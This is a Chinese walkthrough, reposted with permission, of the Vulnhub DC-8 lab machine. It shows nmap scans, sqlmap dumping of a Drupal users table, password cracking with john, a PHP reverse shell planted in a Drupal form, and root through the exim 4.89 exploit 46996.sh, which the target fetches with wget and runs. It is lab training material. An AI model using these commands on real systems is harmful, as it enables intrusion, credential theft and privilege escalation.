【Vulnhub系列靶场】Vulnhub_DC-8靶场渗透
原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)
一、环境配置
从百度网盘下载
在vm中【打开】,并选择位置,可以不用输入名称
打开靶机运行之后,更改网络适配器为NAT即可。
二、信息收集
1、主机发现
2、端口扫描
1、可以先用-F 参数进行粗略的快速探测
2、之后再进行精细探测
nmap.exe -sT --min-rate 10000 -p- 192.168.31.58 #以最小10000速率进行TCP全端口扫描
nmap.exe -sU --min-rate 10000 -p- 192.168.31.58 #以最小10000速率进行UDP全端口扫描
只有TCP开放了22、80端口。
3、用默认脚本对开放的22、80端口在进行全扫描
nmap.exe -sT -sV -sC -O -p22,80 192.168.31.58
确认是一个linux操作系统。
4、用漏洞脚本对开放端口进行漏洞探测
nmap.exe --script=vuln -p22,80 192.168.31.58
并未发现有用的漏洞,只进行了一些目录探测
3、web漏洞探测
访问一下web目录
在kali中用whatweb 识别web框架
有关Drupal 7 的相关漏洞有很多现成的利用方式,可用searchsploit 进行搜索。
searchsploit.cmd Drupal 7
但是利用方式分具体的版本信息,我们暂时还不知道版本的信息。
4、web目录探测
dirsearch.cmd -u http://192.168.31.58 -x 404,403 #过滤掉404,403的响应
三、获取shell立足点
1、查看敏感目录文件
1、robots.txt文件:并没有太多有用的信息,只给了一些目录及文件。
2、install.php文件:看名字是一个安装文件,有重装网站的风险,但是依然无用。
提示要么在数据库中删除现有的数据库信息,要么在settings.php 文件中重新配置成新的数据库。
3、web.config文件:在源代码中看到在首页index.php文件有一个q的参数接口。
在几次的尝试之后发现是一个指路的参数。
4、xmlrpc.php文件:一个奇怪的文件名,查看是一个xml-rpc服务,且需要post提交
用HackBar 简单的进行一个post提交,提示格式不正确,感觉可能存在xml注入。
上网搜索有关xml-rpc服务相关的漏洞,确实有很多相关漏洞,后面可以再自行研究。
2、发现SQL注入
我们点击左侧一篇文章之后,发现上方有一个有一个参数nid
在加上一个单引号’ 之后出现报错,SQL注入的典型特征
为了加快速度,我们直接用sqlmap 去跑,很快出现了结果
sqlmap.cmd -u "http://192.168.31.58/?nid=1" --batch
之后一步步去爆破数据。
sqlmap.cmd -u "http://192.168.31.58/?nid=1" --batch -D d7db -T users -C uid,main,name,pass --dump
爆破出来两个账户,密码经过了加密。
3、登录后台
将账号密码保存下来,用john 破解工具破解账号密码。
john账号的密码很快就能破解出来
那我们先登录john 的账号(在之前的web目录扫描中知道登录的后台地址/user/login)
成功登录后台。
4、反弹shell
在Drupal 后台中有一个可以执行php代码的地方,是这个框架的一个必须的检测点。
在如下的这个地方:
如下切换成php代码。是一个提交意见之后的感谢语。
在我们的shell反弹网站中找一个phpshell反弹的代码,粘贴上去后在下方保存,并监听本地的4444端口。
之后返回,去写一个意见提交,拿到shell。
这里如果失败可以多试几次,退出登录、刷新页面等(最好在一个页面上操作)
四、提权至root
1、查找SUID文件
find / -perm -u=s -type f 2>/dev/null
可以看到exim4,低版本的exim4是可以提权的。
查看exim4的版本信息:4.89确认在可提权的版本范围内。
exim4 --version
2、exim4提权
1、查找可本地提权脚本:
searchsploit.cmd exim 4 | findstr Local #通过findstr Local进行筛选
2、查看脚本的利用方式
我们可以在右侧找到searchsploit这个工具,双击进去它的目录,找到这个脚本并复制出来。
进行复制
cp exploits/linux/local/46996.sh /c/Users/Administrator/Desktop/test/
回到windows中用sublime来打开该脚本
3、解析该脚本
如果不懂sh脚本的代码,可以直接让gpt进行分析
简而言之,该脚本有两个利用方法
./46996.sh -m setuid
./46996.sh -m netcat
3、提权至root
1、将该脚本上传至靶机,本地开启http服务
python3 -m http.server
2、在靶机的/tmp 目录下进行下载,/tmp目录任何人都有下载执行权限
wget http://192.168.31.50:8000/46996.sh
3、给该脚本执行权限
chmod +x 46996.sh
4、执行提权
./46996.sh -m netcat #提权成功
shell=/bin/bash script -q /dev/null #进入交互shell
原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)